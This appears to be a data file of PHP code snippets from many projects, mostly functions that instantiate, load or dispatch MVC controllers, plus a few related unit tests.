"public function createController( $ctrlName, $action ) {\n $args['action'] = $action;\n $args['path'] = $this->path . '/modules/' . $ctrlName;\n $ctrlFile = $args['path'] . '/Controller.php';\n // $args['moduleName'] = $ctrlName;\n if ( file_exists( $ctrlFile ) ) {\n $ctrlPath = str_replace( CITRUS_PATH, '', $args['path'] );\n $ctrlPath = str_replace( '/', '\\\\', $ctrlPath ) . '\\Controller';\n try { \n $r = new \\ReflectionClass( $ctrlPath ); \n $inst = $r->newInstanceArgs( $args ? $args : array() );\n\n $this->controller = Citrus::apply( $inst, Array( \n 'name' => $ctrlName, \n ) );\n if ( $this->controller->is_protected == null ) {\n $this->controller->is_protected = $this->is_protected;\n }\n return $this->controller;\n } catch ( \\Exception $e ) {\n prr($e, true);\n }\n } else {\n return false;\n }\n }",
"protected function createTestController() {\n\t\t$controller = new CController('test');\n\n\t\t$action = $this->getMock('CAction', array('run'), array($controller, 'test'));\n\t\t$controller->action = $action;\n\n\t\tYii::app()->controller = $controller;\n\t\treturn $controller;\n\t}",
"public static function newController($controllerName, $params = [], $request = null) {\n\n\t\t$controller = \"App\\\\Controllers\\\\\".$controllerName;\n\n\t\treturn new $controller($params, $request);\n\n\t}",
"private function loadController() : void\n\t{\n\t\t$this->controller = new $this->controllerName($this->request);\n\t}",
"public function createController($pi, array $params)\n {\n $class = $pi . '_Controller_' . ucfirst($params['page']);\n\n return new $class();\n }",
"public function createController() {\n //check our requested controller's class file exists and require it if so\n \n if (file_exists(\"modules/\" . $this->controllerName . \"/controllers/\" . $this->controllerName .\".php\" ) && $this->controllerName != 'error') {\n require(\"modules/\" . $this->controllerName . \"/controllers/\" . $this->controllerName .\".php\");\n \n } else {\n \n $this->urlValues['controller'] = \"error\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badurl\", $this->urlValues);\n }\n\n //does the class exist?\n if (class_exists($this->controllerClass)) {\n $parents = class_parents($this->controllerClass);\n //does the class inherit from the BaseController class?\n if (in_array(\"BaseController\", $parents)) {\n //does the requested class contain the requested action as a method?\n if (method_exists($this->controllerClass, $this->action)) { \n return new $this->controllerClass($this->action, $this->urlValues);\n \n } else {\n //bad action/method error\n $this->urlValues['controller'] = \"error\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badview\", $this->urlValues);\n }\n } else {\n $this->urlValues['controller'] = \"error\";\n //bad controller error\n echo \"hjh\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"b\", $this->urlValues);\n }\n } else {\n \n //bad controller error\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badurl\", $this->urlValues);\n }\n }",
"protected static function createController($name) {\n $result = null;\n\n $name = self::$_namespace . ($name ? $name : self::$defaultController) . 'Controller';\n if(class_exists($name)) {\n $controllerClass = new \\ReflectionClass($name);\n if($controllerClass->hasMethod('run')) {\n $result = new $name();\n }\n }\n\n return $result;\n }",
"public function createController(): void\n {\n $minimum_buffer_min = 3;\n $token_ok = $this->routerService->ds_token_ok($minimum_buffer_min);\n if ($token_ok) {\n # 2. Call the worker method\n # More data validation would be a good idea here\n # Strip anything other than characters listed\n $results = $this->worker($this->args);\n\n if ($results) {\n # Redirect the user to the NDSE view\n # Don't use an iFrame!\n # State can be stored/recovered using the framework's session or a\n # query parameter on the returnUrl\n header('Location: ' . $results[\"redirect_url\"]);\n exit;\n }\n } else {\n $this->clientService->needToReAuth($this->eg);\n }\n }",
"protected function createController($controllerClass)\n {\n $cls = new ReflectionClass($controllerClass);\n return $cls->newInstance($this->environment);\n }",
"protected function createController($name)\n {\n $controllerClass = 'controller\\\\'.ucfirst($name).'Controller';\n\n if(!class_exists($controllerClass)) {\n throw new \\Exception('Controller class '.$controllerClass.' not exists!');\n }\n\n return new $controllerClass();\n }",
"protected function initController() {\n\t\tif (!isset($_GET['controller'])) {\n\t\t\t$this->initDefaultController();\n\t\t\treturn;\n\t\t}\n\t\t$controllerClass = $_GET['controller'].\"Controller\";\n\t\tif (!class_exists($controllerClass)) {\n\t\t\t//Console::error(@$_GET['controller'].\" doesn't exist\");\n\t\t\t$this->initDefaultController();\n\t\t\treturn;\n\t\t}\n\t\t$this->controller = new $controllerClass();\n\t}",
"public function makeTestController(TestController $controller)\r\n\t{\r\n\t}",
"static function factory($GET=array(), $POST=array(), $FILES=array()) {\n $type = (isset($GET['type'])) ? $GET['type'] : '';\n $objectController = $type.'_Controller';\n $addLocation = $type.'/'.$objectController.'.php';\n foreach ($_ENV['locations'] as $location) {\n if (is_file($location.$addLocation)) {\n return new $objectController($GET, $POST, $FILES);\n } \n }\n throw new Exception('The controller \"'.$type.'\" does not exist.');\n }",
"public function create()\n {\n $general = new ModeloController();\n\n return $general->create();\n }",
"public function makeController($controllerNamespace, $controllerName, Log $log, $session, Request $request, Response $response)\r\n\t{\r\n\t\t$fullControllerName = '\\\\Application\\\\Controller\\\\' . (!empty($controllerNamespace) ? $controllerNamespace . '\\\\' : '') . $controllerName;\r\n\t\t$controller = new $fullControllerName();\r\n\t\t$controller->setConfig($this->config);\r\n\t\t$controller->setRequest($request);\r\n\t\t$controller->setResponse($response);\r\n\t\t$controller->setLog($log);\r\n\t\tif (isset($session))\r\n\t\t{\r\n\t\t\t$controller->setSession($session);\r\n\t\t}\r\n\r\n\t\t// Execute additional factory method, if available (exists in \\Application\\Controller\\Factory)\r\n\t\t$method = 'make' . $controllerName;\r\n\t\tif (is_callable(array($this, $method)))\r\n\t\t{\r\n\t\t\t$this->$method($controller);\r\n\t\t}\r\n\r\n\t\t// If the controller has an init() method, call it now\r\n\t\tif (is_callable(array($controller, 'init')))\r\n\t\t{\r\n\t\t\t$controller->init();\r\n\t\t}\r\n\r\n\t\treturn $controller;\r\n\t}",
"public static function create()\n\t{\n\t\t//check, if an AccessGroupController instance already exists\n\t\tif(AccessGroupController::$accessGroupController == null)\n\t\t{\n\t\t\tAccessGroupController::$accessGroupController = new AccessGroupController();\n\t\t}\n\n\t\treturn AccessGroupController::$accessGroupController;\n\t}",
"public static function buildController()\n\t{\n\t\t$file = CONTROLLER_PATH . 'indexController.class.php';\n\n\t\tif(!file_exists($file))\n\t\t{\n\t\t\tif(\\RCPHP\\Util\\Check::isClient())\n\t\t\t{\n\t\t\t\t$controller = '<?php\nclass indexController extends \\RCPHP\\Controller {\n public function index(){\n echo \"Welcome RcPHP!\\n\";\n }\n}';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$controller = '<?php\nclass indexController extends \\RCPHP\\Controller {\n public function index(){\n echo \\'<style type=\"text/css\">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: \"微软雅黑\"; color: #333;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px }</style><div style=\"padding: 24px 48px;\"> <h1>:)</h1><p>Welcome <b>RcPHP</b>!</p></div>\\';\n }\n}';\n\t\t\t}\n\t\t\tfile_put_contents($file, $controller);\n\t\t}\n\t}",
"public function getController( );",
"public static function getInstance() : Controller {\n if ( null === self::$instance ) {\n self::$instance = new self();\n self::$instance->options = new Options(\n self::OPTIONS_KEY\n );\n }\n\n return self::$instance;\n }",
"static function appCreateController($entityName, $prefijo = '') {\n\n $controller = ControllerBuilder::getController($entityName, $prefijo);\n $entityFile = ucfirst(str_replace($prefijo, \"\", $entityName));\n $fileController = \"../../modules/{$entityFile}/{$entityFile}Controller.class.php\";\n\n $result = array();\n $ok = self::createArchive($fileController, $controller);\n ($ok) ? array_push($result, \"Ok, {$fileController} created\") : array_push($result, \"ERROR creating {$fileController}\");\n\n return $result;\n }",
"public static function newInstance($path = \\simpleChat\\Utility\\ROOT_PATH)\n {\n $request = new Request();\n \n \n if ($request->isAjax())\n {\n return new AjaxController();\n }\n else if ($request->jsCode())\n {\n return new JsController();\n }\n else\n {\n return new StandardController($path);\n }\n }",
"private function createInstance()\n {\n $objectManager = new \\Magento\\Framework\\TestFramework\\Unit\\Helper\\ObjectManager($this);\n $this->controller = $objectManager->getObject(\n \\Magento\\NegotiableQuote\\Controller\\Adminhtml\\Quote\\RemoveFailedSku::class,\n [\n 'context' => $this->context,\n 'logger' => $this->logger,\n 'messageManager' => $this->messageManager,\n 'cart' => $this->cart,\n 'resultRawFactory' => $this->resultRawFactory\n ]\n );\n }",
"function loadController(){\n $name = ucfirst($this->request->controller).'Controller' ;\n $file = ROOT.DS.'Controller'.DS.$name.'.php' ;\n /*if(!file_exists($file)){\n $this->error(\"Le controleur \".$this->request->controller.\" n'existe pas\") ;\n }*/\n require_once $file;\n $controller = new $name($this->request);\n return $controller ;\n }",
"public function __construct(){\r\n $app = Application::getInstance();\r\n $this->_controller = $app->getController();\r\n }",
"public static function & instance()\n {\n if (self::$instance === null) {\n Benchmark::start(SYSTEM_BENCHMARK.'_controller_setup');\n\n // Include the Controller file\n require Router::$controller_path;\n\n try {\n // Start validation of the controller\n $class = new ReflectionClass(ucfirst(Router::$controller).'_Controller');\n } catch (ReflectionException $e) {\n // Controller does not exist\n Event::run('system.404');\n }\n\n if ($class->isAbstract() or (IN_PRODUCTION and $class->getConstant('ALLOW_PRODUCTION') == false)) {\n // Controller is not allowed to run in production\n Event::run('system.404');\n }\n\n // Run system.pre_controller\n Event::run('system.pre_controller');\n\n // Create a new controller instance\n $controller = $class->newInstance();\n\n // Controller constructor has been executed\n Event::run('system.post_controller_constructor');\n\n try {\n // Load the controller method\n $method = $class->getMethod(Router::$method);\n\n // Method exists\n if (Router::$method[0] === '_') {\n // Do not allow access to hidden methods\n Event::run('system.404');\n }\n\n if ($method->isProtected() or $method->isPrivate()) {\n // Do not attempt to invoke protected methods\n throw new ReflectionException('protected controller method');\n }\n\n // Default arguments\n $arguments = Router::$arguments;\n } catch (ReflectionException $e) {\n // Use __call instead\n $method = $class->getMethod('__call');\n\n // Use arguments in __call format\n $arguments = array(Router::$method, Router::$arguments);\n }\n\n // Stop the controller setup benchmark\n Benchmark::stop(SYSTEM_BENCHMARK.'_controller_setup');\n\n // Start the controller execution benchmark\n Benchmark::start(SYSTEM_BENCHMARK.'_controller_execution');\n\n // Execute the controller method\n $method->invokeArgs($controller, $arguments);\n\n // Controller method has been executed\n Event::run('system.post_controller');\n\n // Stop the controller execution benchmark\n Benchmark::stop(SYSTEM_BENCHMARK.'_controller_execution');\n }\n\n return self::$instance;\n }",
"protected function instantiateController($class)\n {\n $controller = new $class();\n\n if ($controller instanceof Controller) {\n $controller->setContainer($this->container);\n }\n\n return $controller;\n }",
"public function __construct (){\n $this->AdminController = new AdminController();\n $this->ArticleController = new ArticleController();\n $this->AuditoriaController = new AuditoriaController();\n $this->CommentController = new CommentController();\n $this->CourseController = new CourseController();\n $this->InscriptionsController = new InscriptionsController();\n $this->ModuleController = new ModuleController();\n $this->PlanController = new PlanController();\n $this->ProfileController = new ProfileController();\n $this->SpecialtyController = new SpecialtyController();\n $this->SubscriptionController = new SubscriptionController();\n $this->TeacherController = new TeacherController();\n $this->UserController = new UserController();\n $this->WebinarController = new WebinarController();\n }",
"protected function makeController($prefix)\n {\n new MakeController($this, $this->files, $prefix);\n }",
"public function createController($route)\n {\n $controller = parent::createController('gymv/' . $route);\n return $controller === false\n ? parent::createController($route)\n : $controller;\n }",
"public static function createFrontController()\n {\n return self::createInjectorWithBindings(self::extractArgs(func_get_args()))\n ->getInstance('net::stubbles::websites::stubFrontController');\n }",
"public static function controller($name)\n {\n $name = ucfirst(strtolower($name));\n \n $directory = 'controller';\n $filename = $name;\n $tracker = 'controller';\n $init = (boolean) $init;\n $namespace = 'controller';\n $class_name = $name;\n \n return self::_load($directory, $filename, $tracker, $init, $namespace, $class_name);\n }",
"protected static function instantiateMockController()\n {\n /** @var Event $oEvent */\n $oEvent = Factory::service('Event');\n\n if (!$oEvent->hasBeenTriggered(Events::SYSTEM_STARTING)) {\n\n require_once BASEPATH . 'core/Controller.php';\n\n load_class('Output', 'core');\n load_class('Security', 'core');\n load_class('Input', 'core');\n load_class('Lang', 'core');\n\n new NailsMockController();\n }\n }",
"private static function controller()\n {\n $files = ['Controller'];\n $folder = static::$root.'MVC'.'/';\n\n self::call($files, $folder);\n }",
"public function createController()\n\t{\n\t\t$originalFile = app_path('Http/Controllers/Reports/SampleReport.php');\n\t\t$newFile = dirname($originalFile) . DIRECTORY_SEPARATOR . $this->class . $this->sufix . '.php';\n\n\t\t// Read original file\n\t\tif( ! $content = file_get_contents($originalFile))\n\t\t\treturn false;\n\n\t\t// Replace class name\n\t\t$content = str_replace('SampleReport', $this->class . $this->sufix, $content);\n\n\t\t// Write new file\n\t\treturn (bool) file_put_contents($newFile, $content);\n\t}",
"public function runController() {\n // Check for a router\n if (is_null($this->getRouter())) {\n \t // Set the method to load\n \t $sController = ucwords(\"{$this->getController()}Controller\");\n } else {\n\n // Set the controller with the router\n $sController = ucwords(\"{$this->getController()}\".ucfirst($this->getRouter()).\"Controller\");\n }\n \t// Check for class\n \tif (class_exists($sController, true)) {\n \t\t// Set a new instance of Page\n \t\t$this->setPage(new Page());\n \t\t// The class exists, load it\n \t\t$oController = new $sController();\n\t\t\t\t// Now check for the proper method \n\t\t\t\t// inside of the controller class\n\t\t\t\tif (method_exists($oController, $this->loadConfigVar('systemSettings', 'controllerLoadMethod'))) {\n\t\t\t\t\t// We have a valid controller, \n\t\t\t\t\t// execute the initializer\n\t\t\t\t\t$oController->init($this);\n\t\t\t\t\t// Set the variable scope\n\t \t\t$this->setViewScope($oController);\n\t \t\t// Render the layout\n\t \t\t$this->renderLayout();\n\t\t\t\t} else {\n\t\t\t\t\t// The initializer does not exist, \n\t\t\t\t\t// which means an invalid controller, \n\t\t\t\t\t// so now we let the caller know\n\t\t\t\t\t$this->setError($this->loadConfigVar('errorMessages', 'invalidController'));\n\t\t\t\t\t// Run the error\n\t\t\t\t\t// $this->runError();\n\t\t\t\t}\n \t// The class does not exist\n \t} else {\n\t\t\t\t// Set the system error\n\t \t\t$this->setError(\n\t\t\t\t\tstr_replace(\n\t\t\t\t\t\t':controllerName', \n\t\t\t\t\t\t$sController, \n\t\t\t\t\t\t$this->loadConfigVar(\n\t\t\t\t\t\t\t'errorMessages', \n\t\t\t\t\t\t\t'controllerDoesNotExist'\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t);\n \t\t// Run the error\n\t\t\t\t// $this->runError();\n \t}\n \t// Return instance\n \treturn $this;\n }",
"public function controller()\n\t{\n\t\n\t}",
"protected function buildController()\n {\n $columns = collect($this->columns)->pluck('column')->implode('|');\n\n $permissions = [\n 'create:'.$this->module->createPermission->name,\n 'edit:'.$this->module->editPermission->name,\n 'delete:'.$this->module->deletePermission->name,\n ];\n\n $this->controller = [\n 'name' => $this->class,\n '--model' => $this->class,\n '--request' => $this->class.'Request',\n '--permissions' => implode('|', $permissions),\n '--view-folder' => snake_case($this->module->name),\n '--fields' => $columns,\n '--module' => $this->module->id,\n ];\n }",
"function getController(){\n\treturn getFactory()->getBean( 'Controller' );\n}",
"protected function getController()\n {\n $uri = WingedLib::clearPath(static::$parentUri);\n if (!$uri) {\n $uri = './';\n $explodedUri = ['index', 'index'];\n } else {\n $explodedUri = explode('/', $uri);\n if (count($explodedUri) == 1) {\n $uri = './' . $explodedUri[0] . '/';\n } else {\n $uri = './' . $explodedUri[0] . '/' . $explodedUri[1] . '/';\n }\n }\n\n $indexUri = WingedLib::clearPath(\\WingedConfig::$config->INDEX_ALIAS_URI);\n if ($indexUri) {\n $indexUri = explode('/', $indexUri);\n }\n\n if ($indexUri) {\n if ($explodedUri[0] === 'index' && isset($indexUri[0])) {\n static::$controllerName = Formater::camelCaseClass($indexUri[0]) . 'Controller';\n $uri = './' . $indexUri[0] . '/';\n }\n if (isset($explodedUri[1]) && isset($indexUri[1])) {\n if ($explodedUri[1] === 'index') {\n static::$controllerAction = 'action' . Formater::camelCaseMethod($indexUri[1]);\n $uri .= $indexUri[1] . '/';\n }\n } else {\n $uri .= 'index/';\n }\n }\n\n $controllerDirectory = new Directory(static::$parent . 'controllers/', false);\n if ($controllerDirectory->exists()) {\n $controllerFile = new File($controllerDirectory->folder . static::$controllerName . '.php', false);\n if ($controllerFile->exists()) {\n include_once $controllerFile->file_path;\n if (class_exists(static::$controllerName)) {\n $controller = new static::$controllerName();\n if (method_exists($controller, static::$controllerAction)) {\n try {\n $reflectionMethod = new \\ReflectionMethod(static::$controllerName, static::$controllerAction);\n $pararms = [];\n foreach ($reflectionMethod->getParameters() as $parameter) {\n $pararms[$parameter->getName()] = $parameter->isOptional();\n }\n } catch (\\Exception $exception) {\n $pararms = [];\n }\n return [\n 'uri' => $uri,\n 'params' => $pararms,\n ];\n }\n }\n }\n }\n return false;\n }",
"public function __construct()\n {\n $this->controller = new DHTController();\n }",
"public function createController($controllers) {\n\t\tforeach($controllers as $module=>$controllers) {\n\t\t\tforeach($controllers as $key=>$controller) {\n\t\t\t\tif(!file_exists(APPLICATION_PATH.\"/modules/$module/controllers/\".ucfirst($controller).\"Controller.php\")) {\n\t\t\t\t\tMy_Class_Maerdo_Console::display(\"3\",\"Create '\".ucfirst($controller).\"' controller in $module\");\t\t\t\t\n\t\t\t\t\texec(\"zf create controller $controller index-action-included=0 $module\");\t\t\t\t\t\n\t\t\t\t}\telse {\n\t\t\t\t\tMy_Class_Maerdo_Console::display(\"3\",ucfirst($controller).\"' controller in $module already exists\");\t\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t}",
"protected function instantiateController($class)\n {\n return new $class($this->routesMaker);\n }",
"private function createController($table){\n\n // Filtering file name\n $fileName = $this::cleanToName($table[\"name\"]) . 'Controller.php';\n\n // Prepare the Class scheme inside the controller\n $contents = '<?php '.$fileName.' ?>';\n\n\n // Return a boolean to process completed\n return Storage::disk('controllers')->put($this->appNamePath.'/'.$fileName, $contents);\n\n }",
"public function GetController()\n\t{\n\t\t$params = $this->QueryVarArrayToParameterArray($_GET);\n\t\tif (!empty($_POST)) {\n\t\t\t$params = array_merge($params, $this->QueryVarArrayToParameterArray($_POST));\n\t\t}\n\n\t\tif (!empty($_GET['q'])) {\n\t\t\t$restparams = GitPHP_Router::ReadCleanUrl($_SERVER['REQUEST_URI']);\n\t\t\tif (count($restparams) > 0)\n\t\t\t\t$params = array_merge($params, $restparams);\n\t\t}\n\n\t\t$controller = null;\n\n\t\t$action = null;\n\t\tif (!empty($params['action']))\n\t\t\t$action = $params['action'];\n\n\t\tswitch ($action) {\n\n\n\t\t\tcase 'search':\n\t\t\t\t$controller = new GitPHP_Controller_Search();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'commitdiff':\n\t\t\tcase 'commitdiff_plain':\n\t\t\t\t$controller = new GitPHP_Controller_Commitdiff();\n\t\t\t\tif ($action === 'commitdiff_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blobdiff':\n\t\t\tcase 'blobdiff_plain':\n\t\t\t\t$controller = new GitPHP_Controller_Blobdiff();\n\t\t\t\tif ($action === 'blobdiff_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'history':\n\t\t\t\t$controller = new GitPHP_Controller_History();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'shortlog':\n\t\t\tcase 'log':\n\t\t\t\t$controller = new GitPHP_Controller_Log();\n\t\t\t\tif ($action === 'shortlog')\n\t\t\t\t\t$controller->SetParam('short', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'snapshot':\n\t\t\t\t$controller = new GitPHP_Controller_Snapshot();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'tree':\n\t\t\tcase 'trees':\n\t\t\t\t$controller = new GitPHP_Controller_Tree();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'tags':\n\t\t\t\tif (empty($params['tag'])) {\n\t\t\t\t\t$controller = new GitPHP_Controller_Tags();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\tcase 'tag':\n\t\t\t\t$controller = new GitPHP_Controller_Tag();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'heads':\n\t\t\t\t$controller = new GitPHP_Controller_Heads();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blame':\n\t\t\t\t$controller = new GitPHP_Controller_Blame();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'blob':\n\t\t\tcase 'blobs':\n\t\t\tcase 'blob_plain':\t\n\t\t\t\t$controller = new GitPHP_Controller_Blob();\n\t\t\t\tif ($action === 'blob_plain')\n\t\t\t\t\t$controller->SetParam('output', 'plain');\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'atom':\n\t\t\tcase 'rss':\n\t\t\t\t$controller = new GitPHP_Controller_Feed();\n\t\t\t\tif ($action == 'rss')\n\t\t\t\t\t$controller->SetParam('format', GitPHP_Controller_Feed::RssFormat);\n\t\t\t\telse if ($action == 'atom')\n\t\t\t\t\t$controller->SetParam('format', GitPHP_Controller_Feed::AtomFormat);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'commit':\n\t\t\tcase 'commits':\n\t\t\t\t$controller = new GitPHP_Controller_Commit();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'summary':\n\t\t\t\t$controller = new GitPHP_Controller_Project();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'project_index':\n\t\t\tcase 'projectindex':\n\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t$controller->SetParam('txt', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'opml':\n\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t$controller->SetParam('opml', true);\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'login':\n\t\t\t\t$controller = new GitPHP_Controller_Login();\n\t\t\t\tif (!empty($_POST['username']))\n\t\t\t\t\t$controller->SetParam('username', $_POST['username']);\n\t\t\t\tif (!empty($_POST['password']))\n\t\t\t\t\t$controller->SetParam('password', $_POST['password']);\n\t\t\t\tbreak;\n\n\t\t\tcase 'logout':\n\t\t\t\t$controller = new GitPHP_Controller_Logout();\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'graph':\n\t\t\tcase 'graphs':\n\t\t\t\t//$controller = new GitPHP_Controller_Graph();\n\t\t\t\t//break;\n\t\t\tcase 'graphdata':\n\t\t\t\t//$controller = new GitPHP_Controller_GraphData();\n\t\t\t\t//break;\n\t\t\tdefault:\n\t\t\t\tif (!empty($params['project'])) {\n\t\t\t\t\t$controller = new GitPHP_Controller_Project();\n\t\t\t\t} else {\n\t\t\t\t\t$controller = new GitPHP_Controller_ProjectList();\n\t\t\t\t}\n\t\t}\n\n\t\tforeach ($params as $paramname => $paramval) {\n\t\t\tif ($paramname !== 'action')\n\t\t\t\t$controller->SetParam($paramname, $paramval);\n\t\t}\n\n\t\t$controller->SetRouter($this);\n\n\t\treturn $controller;\n\t}",
"public function testCreateTheControllerClass()\n {\n $controller = new Game21Controller();\n $this->assertInstanceOf(\"\\App\\Http\\Controllers\\Game21Controller\", $controller);\n }",
"public static function createController( MShop_Context_Item_Interface $context, $name = null );",
"public function __construct()\n {\n\n $url = $this->splitURL();\n // echo $url[0];\n\n // check class file exists\n if (file_exists(\"../app/controllers/\" . strtolower($url[0]) . \".php\")) {\n $this->controller = strtolower($url[0]);\n unset($url[0]);\n }\n\n // echo $this->controller;\n\n require \"../app/controllers/\" . $this->controller . \".php\";\n\n // create Instance(object)\n $this->controller = new $this->controller(); // $this->controller is an object from now on\n if (isset($url[1])) {\n if (method_exists($this->controller, $url[1])) {\n $this->method = $url[1];\n unset($url[1]);\n }\n }\n\n // run the class and method\n $this->params = array_values($url); // array_values 값들인 인자 0 부터 다시 배치\n call_user_func_array([$this->controller, $this->method], $this->params);\n }",
"public function getController();",
"public function getController();",
"public function getController();",
"public function createController($pageType, $template)\n {\n $controller = null;\n\n // Use factories first\n if (isset($this->controllerFactories[$pageType])) {\n $callable = $this->controllerFactories[$pageType];\n $controller = $callable($this, 'templates/'.$template);\n\n if ($controller) {\n return $controller;\n }\n }\n\n // See if a default controller exists in the theme namespace\n $class = null;\n if ($pageType == 'posts') {\n $class = $this->namespace.'\\\\Controllers\\\\PostsController';\n } elseif ($pageType == 'post') {\n $class = $this->namespace.'\\\\Controllers\\\\PostController';\n } elseif ($pageType == 'page') {\n $class = $this->namespace.'\\\\Controllers\\\\PageController';\n } elseif ($pageType == 'term') {\n $class = $this->namespace.'\\\\Controllers\\\\TermController';\n }\n\n if (class_exists($class)) {\n $controller = new $class($this, 'templates/'.$template);\n\n return $controller;\n }\n\n // Create a default controller from the stem namespace\n if ($pageType == 'posts') {\n $controller = new PostsController($this, 'templates/'.$template);\n } elseif ($pageType == 'post') {\n $controller = new PostController($this, 'templates/'.$template);\n } elseif ($pageType == 'page') {\n $controller = new PageController($this, 'templates/'.$template);\n } elseif ($pageType == 'search') {\n $controller = new SearchController($this, 'templates/'.$template);\n } elseif ($pageType == 'term') {\n $controller = new TermController($this, 'templates/'.$template);\n }\n\n return $controller;\n }",
"private function loadController($controller)\r\n {\r\n $className = $controller.'Controller';\r\n \r\n $class = new $className($this);\r\n \r\n $class->init();\r\n \r\n return $class;\r\n }",
"public static function newInstance ($class)\n {\n try\n {\n // the class exists\n $object = new $class();\n\n if (!($object instanceof sfController))\n {\n // the class name is of the wrong type\n $error = 'Class \"%s\" is not of the type sfController';\n $error = sprintf($error, $class);\n\n throw new sfFactoryException($error);\n }\n\n return $object;\n }\n catch (sfException $e)\n {\n $e->printStackTrace();\n }\n }",
"public function create()\n {\n //TODO frontEndDeveloper \n //load admin.classes.create view\n\n\n return view('admin.classes.create');\n }",
"private function generateControllerClass()\n {\n $dir = $this->bundle->getPath();\n\n $parts = explode('\\\\', $this->entity);\n $entityClass = array_pop($parts);\n $entityNamespace = implode('\\\\', $parts);\n\n $target = sprintf(\n '%s/Controller/%s/%sController.php',\n $dir,\n str_replace('\\\\', '/', $entityNamespace),\n $entityClass\n );\n\n if (file_exists($target)) {\n throw new \\RuntimeException('Unable to generate the controller as it already exists.');\n }\n\n $this->renderFile($this->skeletonDir, 'controller.php', $target, array(\n 'actions' => $this->actions,\n 'route_prefix' => $this->routePrefix,\n 'route_name_prefix' => $this->routeNamePrefix,\n 'dir' => $this->skeletonDir,\n 'bundle' => $this->bundle->getName(),\n 'entity' => $this->entity,\n 'entity_class' => $entityClass,\n 'namespace' => $this->bundle->getNamespace(),\n 'entity_namespace' => $entityNamespace,\n 'format' => $this->format,\n ));\n }",
"static public function Instance()\t\t// Static so we use classname itself to create object i.e. Controller::Instance()\r\n {\r\n // Only one object of this class is required\r\n // so we only create if it hasn't already\r\n // been created.\r\n if(!isset(self::$_instance))\r\n {\r\n self::$_instance = new self();\t// Make new instance of the Controler class\r\n self::$_instance->_commandResolver = new CommandResolver();\r\n\r\n ApplicationController::LoadViewMap();\r\n }\r\n return self::$_instance;\r\n }",
"private function create_mock_controller() {\n eval('class TestController extends cyclone\\request\\SkeletonController {\n function before() {\n DispatcherTest::$beforeCalled = TRUE;\n DispatcherTest::$route = $this->_request->route;\n }\n\n function after() {\n DispatcherTest::$afterCalled = TRUE;\n }\n\n function action_act() {\n DispatcherTest::$actionCalled = TRUE;\n }\n}');\n }",
"public function AController() {\r\n\t}",
"protected function initializeController() {}",
"public function dispatch()\n { \n $controller = $this->formatController();\n $controller = new $controller($this);\n if (!$controller instanceof ControllerAbstract) {\n throw new Exception(\n 'Class ' . get_class($controller) . ' is not a valid controller instance. Controller classes must '\n . 'derive from \\Europa\\ControllerAbstract.'\n );\n }\n $controller->action();\n return $controller;\n }",
"public function controller()\n {\n $method = $_SERVER['REQUEST_METHOD'];\n if ($method == 'GET') {\n $this->getController();\n };\n if ($method == 'POST') {\n check_csrf();\n $this->createController();\n };\n }",
"private function addController($controller)\n {\n $object = new $controller($this->app);\n $this->controllers[$controller] = $object;\n }",
"function Controller($ControllerName = Web\\Application\\DefaultController) {\n return Application()->Controller($ControllerName);\n }",
"public function getController($controllerName) {\r\n\t\tif(!isset(self::$instances[$controllerName])) {\r\n\t\t $package = $this->getPackage(Nomenclature::getVendorAndPackage($controllerName));\r\n\t\t if(!$package) {\r\n\t\t $controller = new $controllerName();\r\n\t\t $controller->setContext($this->getContext());\r\n\t\t return $controller;\r\n\t\t //return false;\r\n\t\t }\r\n\r\n\t\t if(!$package || !$package->controllerExists($controllerName)) {\r\n\t\t $controller = new $controllerName();\r\n\t\t $controller->setContext($this->getContext());\r\n\t\t $package->addController($controller);\r\n\t\t } else {\r\n\t\t $controller = $package->getController($controllerName);\r\n\t\t }\r\n\t\t} else {\r\n\t\t $controller = self::$instances[$controllerName];\r\n\t\t}\r\n\t\treturn $controller;\r\n\t}",
"public function testInstantiateSessionController()\n {\n $controller = new SessionController();\n\n $this->assertInstanceOf(\"App\\Http\\Controllers\\SessionController\", $controller);\n }",
